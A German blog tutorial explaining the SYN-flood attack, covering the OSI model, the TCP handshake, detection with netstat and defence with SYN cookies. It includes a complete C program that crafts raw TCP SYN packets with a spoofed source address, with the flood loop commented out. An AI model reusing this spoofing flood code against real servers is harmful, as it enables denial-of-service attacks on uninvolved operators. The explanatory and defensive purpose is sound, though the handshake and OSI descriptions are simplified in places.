Logo

Der SYN-Flood und das Problem mit dem Handshake im Detail

Verfasst von: xed am 27 - Okt - 2011 - Kategorisiert unter: Netzwerktechnik -

Ich möchte mal ein paar Flood-Techniken im Detail durchgehen. Wir starten dazu mit der am häufigsten im Internet besprochenen Technik, dem SYN-Flood. Um die Funktionsweise zu verstehen, ist es sinnvoll sich zuerst mit dem OSI-Referenzmodell zu beschäftigen.

Das OSI-Modell ist ein Schichtenmodell, welches den Weg eines Paketes innerhalb eines Netzwerkes beschreibt. Das Modell besitzt insgesamt 7 Schichten (engl. Layer), welche beim Senden eines Paketes im Regelfall von Schritt 7-1 und beim Empfangen eines Paketes von Schritt 1-7 ablaufen. Das OSI-Modell ist notwendig, um verschiedene Protokolle zu ermöglichen. Die Pakete werden dafür mit zusätzlichen Informationen ausgestattet, damit diese dann am richtigen Zielpunkt ankommen.

OSI ist die englische Abkürzung für “Open System Interconnection (Reference) Model”. Je nach eingesetzter Netzwerktopologie wird auf diesem Weg (zwischen den Netzwerkkabeln) ein HUB, Switch oder Router eingesetzt. Alle Geräte müssen auf ihre Art und Weise das OSI-Referenzmodell verstehen. Da es sich um ein offenes Schichtenmodell zur Kommunikation informationsverarbeitender Systeme handelt, ist sichergestellt dass alle Programme im Netzwerk sich verständigen können. Im folgenden sind die Layer aufgelistet:

Layer anzeigen »

Layer #7: Die Anwendungsschicht

Die Anwendungsschicht sorgt dafür, dass einzelne Anwendungen auf einem Computer mit dem Netzwerk kommunizieren können. Beispiel: Ein HTTP-Request eines Programms findet im Layer 7 statt.

FTAM, MHS, VTP, FTP, NFS, Telnet, SMTP, HTTP, LDAP, SSH, JTM

Layer #6: Die Darstellungsschicht

Die gesendeten/empfangenen Bits und Bytes werden in die richtige Kodierung formatiert. Das ermöglicht den syntaktisch korrekten Datenaustausch zwischen unterschiedlichen Systemen. In der Darstellungsschicht wird zeitgleich auch Komprimierungen und Verschlüsselungen (SSL) abgewickelt.

Protokolle: ISO 8822 / X.216, ISO 8823 / X.226, ISO 9576

Layer #5: Die Sitzungsschicht

Um vollständig alle Daten zu empfangen und zu senden muss eine Sitzung erstellt werden. Durch das RPC (Remote Procedure Call) Protokoll wird dafür gesorgt, dass die Verbindung nicht einfach so abbricht. Ansonsten kann es zu Fehlern bei der Übertragung und Datenverlust kommen.

Protokolle: ISO 8306 / X.215, ISO 8327 / X.225, ISO 9548

Layer #4: Die Transportschicht

Die Transportschicht dient zur Segmentierung des Datenstroms und der Stauvermeidung (engl. congestion avoidance). In Schicht Nummer 4 sind fünf verschiedene Dienstklassen definiert, welche von den oberen Schichten benutzt werden können (u.a. Fehlersicherungs- und Fehlerbehebungsverfahren).

Protokolle: TCP, UDP, SCTP

Layer #3: Die Vermittlungsschicht

Die Vermittlungsschicht sorgt für das Schalten von Verbindungen und die Weitervermittlung von Datenpaketen. Dies schließt die Wegsuche (Routing) zwischen den Netzknoten mit ein. Diese Schicht sorgt also für die Bereitstellung netzwerkübergreifender Adressen, sowie den Aufbau und die Aktualisierung von Routingtabellen.

Protokolle: IP, IPsec, ICMP, CLNP

Layer #2: Die Sicherungsschicht

Die Sicherungsschicht sorgt dafür, dass eine fehlerfreie Übertragung gewährleistet ist und regelt den Zugriff auf das Übertragungsmedium. Der Bitdatenstrom wird in Blöcke aufgeteilt und per Prüfsummen kontrolliert, so dass verlorengegangene Blöcke vom Empfänger durch Wiederholungsmechanismen erneut angefordert werden können.

Protokolle: Ethernet-Protokoll, HDLC, SDLC, DDCMP, IEEE 802.2, ARP, STP

Layer #1: Die Bitübertragungsschicht (engl. Physical Layer)

Die Bitübertragungsschicht ist die unterste Schicht. Diese stellt mechanische, elektrische und weitere Hilfsmittel zur Verfügung, um physikalische Verbindungen zu aktivieren, deaktivieren, aufrechterhalten oder Bits zu übertragen. Zu den Hilfsmitteln zählen u.a. elektromagnetische Wellen (WLAN), Lichtleiter oder Laser. Hierzu zählen z.B. der Stecker und die Buchse für das Netzwerkkabel, der Repeater und der Hub.

Protokolle: V.24, V.28, X.21, RS 232, RS 422, RS 423, RS 499

Jetzt seht ihr, was es für Protokolle gibt und welche Schichten bei der Übertragung verwendet werden. Beim SYN-Flood ist allerdings nur ein bestimmtes Protokoll von Bedeutung. Dieses steckt nach dem OSI-Modell im Layer #4 – in der Transportsschicht.

TCP nennt sich das gesuchte Protokoll. TCP steht für Transmission Control Protocol und sorgt u.a. dafür, dass eine Verbindung aufrechterhalten wird wenn es die Verbindung zwischen zwei Endpunkten einer Netzverbindung (Sockets) herstellt. Da TCP auf das IP (Internet-Protokoll) aufsetzt, ist auch häufiger die Rede vom “TCP/IP-Protokoll”. Nun ist TCP also dafür da, eine stetige Verbindung aufzubauen, um eine problemfreie Übertragung zu gewährleisten. Dazu werden für die Verifizierung beim Verbindungsaufbau 3 Pakete gesendet (3 Way Handshake).

Client --->   SYN   ---> Server
Client <--- SYN/ACK <--- Server
Client --->  Daten  ---> Server

Dies sorgt auch dafür, dass die Daten erst gesendet werden, wenn der Server eine Verbindung überhaupt zulässt und die Pakete annehmen kann.

Beim SYN-Flood hat man es genau auf diesen Handshake abgesehen. Denn was macht der Server, wenn er ein SYN-Paket erhält, das SYN/ACK-Paket sendet aber keine Daten empfängt? Hier hält der Server die Verbindung immer eine Zeitspanne lang offen, und wartet bis die Daten vom Client eintreffen. Genau diese Zeitspanne lang ist der Server aufgrund der offenen Verbindung am Arbeiten und wartet vergeblich auf das Paket mit den Daten. Üblicherweise liegt der Timeout erst bei 60 Sekunden.

Wenn nun mehrere solche SYN-Pakete eintreffen, aber nach der “Zustimmung” des Servers keine Daten gesendet werden, führt das dazu dass der Server aufgrund der blockierten Sockets keine neuen Verbindungen mehr akzeptiert. Damit hätte man den Server also für die Außenwelt lahmgelegt, da dieser nun vollkommen Dicht ist (solange jedenfalls noch unvollständige SYN-Pakete gesendet werden, welche die Sockets blockieren). Da ein einzelner Client mehrere tausend SYN-Pakete pro Sekunde senden kann, kommt es hier schnell zur Überlastung.

Für die Verschleierung und das Umleiten der ACK Pakete ins Nirvana wird nun die IP ebenfalls manipuliert. Dies geschieht durch das Setzen eines eigenen TCP-Headers. Dieser Vorgang ist unter dem Begriff “IP Spoofing” bekannt. Deswegen ist auch das Bannen solcher IP Adressen nicht zweckmäßig.

Erkennen tut man einen SYN-Flood Angriff ganz einfach per netstat. Werden dort übermäßig viele halb-offene Verbindungen angezeigt (SYN_RECV unter Linux), versucht sich wahrscheinlich gerade jemand mit den SYN-Flood an dem Server.

# netstat -tuna | grep SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.192:16382    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.196:44832    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.192:37942    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.200:44592    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.239:14759    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.197:13967    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.199:46809    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.201:13541    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.201:29701    SYN_RECV
tcp   0  0 238.100.72.228:80    173.245.53.193:23818    SYN_RECV
tcp   0  0 238.100.72.228:80    [...]                   SYN_RECV

# netstat -tuna | grep SYN_RECV | wc -l
721

Codebeispiel: Unter Perl kann man NET::RawIP als Schnittstelle verwenden, um auf die Raw-Sockets Syscalls im Linux-Kernel zuzugreifen. Üblicherweise ist eine SYN-Flood Implementierung in Windows ein wenig komplexer (benötigt u.a. WinPcap). Ein Codebeispiel für einen (Linux) SYN Flood in C findet ihr hier:

Code anzeigen »

Quelle: binarytides.com
Sprache: C
Hinweis:

  • Pakete per Wireshark o.ä. anschauen
  • Es wird nur ein Paket gesendet
  • Kein Support hier(!)
/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

typedef struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	//char tcp[28];
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ("192.168.1.2");	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr("192.168.1.2");
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!n");
	}

	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			printf ("errorn");
		//Data send successfully
		else
			printf (".");
	//}

	return 0;
}

Schutzmaßnahmen: Aktuell sind SYN-Flood Angriffe meistens gar nicht mehr so problematisch, sofern die Hardware und die Ressourcen ausreichend dimensioniert sind. Wie erwähnt werden dabei auch gern IP-Adressen gefälscht, daher macht es wenig Sinn eine spezifische IP-Adresse zu sperren. Aber es bleiben ja noch andere Möglichkeiten, z.B. den sog. SYN-Cookie (Erweiterung im TCP-Stack).

Benutzt man SYN-Cookies, so werden auf dem Server keine SYN-Pakete mehr gespeichert, sondern als Cookie an den Client gesendet. Wenn jetzt nichts mehr kommt, wird auch keine Verbindung offen gehalten und der Server hat nicht auf ein Paket zu warten. Antwortet der Client jedoch, kommt das Cookie wieder zurück und der Server kann anhand der darin enthaltenen Informationen feststellen, dass er mit diesem Client bereits gesprochen hat und die Verbindung herstellen.

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

Letzendlich gibt es aber doch noch eine Einschränkung der SYN-Cookies. Bestimmte TCP-Optionen wie z.B. TCP Receive Window und TCP MSS werden nicht unterstützt. Es ist sinnvoll SYN-Cookies nur als Fallback-Mechanismus für Angriffe zu aktivieren und ansonsten keine SYN-Cookies zu verwenden.

4 Kommentare bisher.

  1. Anonymous sagt:

    “am häufigsten im internet besprochenen”
    warum ist das eigl. so? wieso findet man wenig
    über udp und http flood?

    • xed sagt:

      Weil der SYN-Flood einfach am meisten Stoff bietet und am interessantesten ist. Bei einem HTTP Flood gibt es lange nicht soviel zu erklären wie beim SYN-Flood.

      (übrigens scheint es ein Problem mit der Zeit zu geben… um 14:38 hatte ich diesen Post noch nicht mal veröffentlicht :o)
      Edit: fixed

  2. hoohead sagt:

    Als DDOS Geschädigter habe ich mich mit der Thematik auch schon öfters auseinander setzen müssen.
    Im Netz gibt es schon zahlreiche Anleitungen was man alles machen kann um seinen Server zu sichern, so ausführlich wie hier beschrieben war jedoch noch keine :)

  3. [...] Zum Thema Syn-flood und syn_cookies möchte ich euch noch folgenden Artikel von dotxed ans Herz legen: syn_cookies aktivieren. [...]


Copyright & Co.

Der gesamte Inhalt (Texte und Publikationen) von dotxed.net steht - sofern nicht anders angegeben - unter Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0) Lizenz. Was das genau bedeutet und unter welchen Bedingungen die Verwendung der hier bereitgestellten Inhalte erlaubt ist, siehst du auf creativecommons.org

About

Seit Mitte 2011 existiert dotxed.net als kleiner, privater Internetblog. Der Fokus liegt neben der Webentwicklung mit PHP, JS und SQL auf den umfangreichen Gebieten der IT Sicherheit. Auch einige Artikel über das quelloffene Linux sowie über verschiedene Themen der technischen Informatik werden mit der Zeit hinzukommen. Mehr Infos.